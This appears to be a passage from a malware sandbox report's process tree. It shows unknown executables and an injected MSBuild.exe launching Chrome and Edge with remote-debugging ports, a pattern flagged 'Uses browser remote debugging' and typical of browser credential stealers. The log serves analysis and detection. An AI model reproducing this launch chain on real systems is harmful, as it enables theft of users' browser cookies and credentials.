C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5756,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5860 /prefetch:810⤵PID:5956
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"9⤵
- Uses browser remote debugging
PID:5180 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x21c,0x220,0x224,0x88,0x228,0x7ffcd492dcf8,0x7ffcd492dd04,0x7ffcd492dd1010⤵PID:4436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2068,i,1150792389649542823,11986363905562658830,262144 --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:210⤵PID:1848
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1812,i,1150792389649542823,11986363905562658830,262144 --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:310⤵PID:5144
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2320,i,1150792389649542823,11986363905562658830,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:810⤵PID:4896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3168,i,1150792389649542823,11986363905562658830,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:110⤵
- Uses browser remote debugging
PID:5112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3200,i,1150792389649542823,11986363905562658830,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:110⤵
- Uses browser remote debugging
PID:4836
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3956,i,1150792389649542823,11986363905562658830,262144 --variations-seed-version --mojo-platform-channel-handle=3972 /prefetch:210⤵
- Uses browser remote debugging
PID:2560
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4256,i,1150792389649542823,11986363905562658830,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:110⤵
- Uses browser remote debugging
PID:3184
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"9⤵
- Uses browser remote debugging
PID:5272 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x218,0x21c,0x220,0x1f4,0x224,0x7ffcd492dcf8,0x7ffcd492dd04,0x7ffcd492dd1010⤵PID:9920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1584,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=2140 /prefetch:310⤵PID:10544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1916,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:210⤵PID:10572
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2400,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=1752 /prefetch:810⤵PID:10652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3192,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:110⤵
- Uses browser remote debugging
PID:10796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3272,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=3088 /prefetch:110⤵
- Uses browser remote debugging
PID:10804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4260,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:210⤵
- Uses browser remote debugging
PID:11024
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4680,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:110⤵
- Uses browser remote debugging
PID:6820
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4872,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:810⤵PID:9388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4948,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:810⤵PID:7864
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5580,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:810⤵PID:1100
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5728,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=4936 /prefetch:810⤵PID:11696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5952,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:810⤵PID:11688
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5876,i,17216798061833588612,3646781436866677855,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:810⤵PID:5720
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"9⤵
- Uses browser remote debugging
PID:10316 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --edge-skip-compat-layer-relaunch10⤵
- Uses browser remote debugging
PID:10424 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x264,0x268,0x26c,0x260,0x238,0x7ffcc5e7f208,0x7ffcc5e7f214,0x7ffcc5e7f22011⤵PID:10672
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1848,i,1572747405040373124,11377802036333005060,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:311⤵PID:11148
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2384,i,1572747405040373124,11377802036333005060,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:211⤵PID:11184
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2556,i,1572747405040373124,11377802036333005060,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:811⤵PID:4876
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3480,i,1572747405040373124,11377802036333005060,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:111⤵
- Uses browser remote debugging
PID:11572
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3484,i,1572747405040373124,11377802036333005060,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:111⤵
- Uses browser remote debugging
PID:11608
-
-
-
-
C:\ProgramData\4wtrqqimoz.exe"C:\ProgramData\4wtrqqimoz.exe"9⤵PID:5992
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"10⤵PID:5820
-
-
-
C:\ProgramData\4e3o8q9hvk.exe"C:\ProgramData\4e3o8q9hvk.exe"9⤵PID:9164
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"10⤵PID:9168
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""11⤵
- Uses browser remote debugging
PID:13888 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffcc6cddcf8,0x7ffcc6cddd04,0x7ffcc6cddd1012⤵PID:13912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1604,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=2104 /prefetch:312⤵PID:14204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2052,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:212⤵PID:14216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2416,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=2432 /prefetch:812⤵PID:14268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=3208 /prefetch:112⤵
- Uses browser remote debugging
PID:14316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3188,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:112⤵
- Uses browser remote debugging
PID:14324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4128,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:212⤵
- Uses browser remote debugging
PID:10388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4600,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:112⤵
- Uses browser remote debugging
PID:768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5152,i,4129785795845489470,7166158502548284359,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:812⤵PID:9448
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""11⤵
- Uses browser remote debugging
PID:14232 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --edge-skip-compat-layer-relaunch12⤵
- Uses browser remote debugging
PID:14296 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x260,0x264,0x268,0x25c,0x308,0x7ffcc5e7f208,0x7ffcc5e7f214,0x7ffcc5e7f22013⤵PID:6584
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2072,i,6180584972740015453,12875811319378996676,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:213⤵PID:9124
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1900,i,6180584972740015453,12875811319378996676,262144 --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:313⤵PID:13724
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1912,i,6180584972740015453,12875811319378996676,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:813⤵PID:13852
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3424,i,6180584972740015453,12875811319378996676,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:113⤵
- Uses browser remote debugging
PID:2744
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3408,i,6180584972740015453,12875811319378996676,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:113⤵
- Uses browser remote debugging
PID:1804
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\JJECFIECBG.exe"11⤵PID:5000
-
C:\Users\Admin\JJECFIECBG.exe"C:\Users\Admin\JJECFIECBG.exe"12⤵PID:20380
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"13⤵PID:20288
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"14⤵
- Uses browser remote debugging
PID:15072 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffcc6c5dcf8,0x7ffcc6c5dd04,0x7ffcc6c5dd1015⤵PID:14976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1576,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:315⤵PID:5900
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2416,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=2404 /prefetch:215⤵PID:14720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2080,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=2776 /prefetch:815⤵PID:1828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3228,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:115⤵
- Uses browser remote debugging
PID:14608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3236,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:115⤵
- Uses browser remote debugging
PID:14576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4280,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:215⤵
- Uses browser remote debugging
PID:20752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4592,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:115⤵
- Uses browser remote debugging
PID:20464
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5160,i,9885938084223327182,9054297572410618350,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:815⤵PID:14532
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"14⤵
- Uses browser remote debugging
PID:15012 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --edge-skip-compat-layer-relaunch15⤵
- Uses browser remote debugging
PID:14972 -
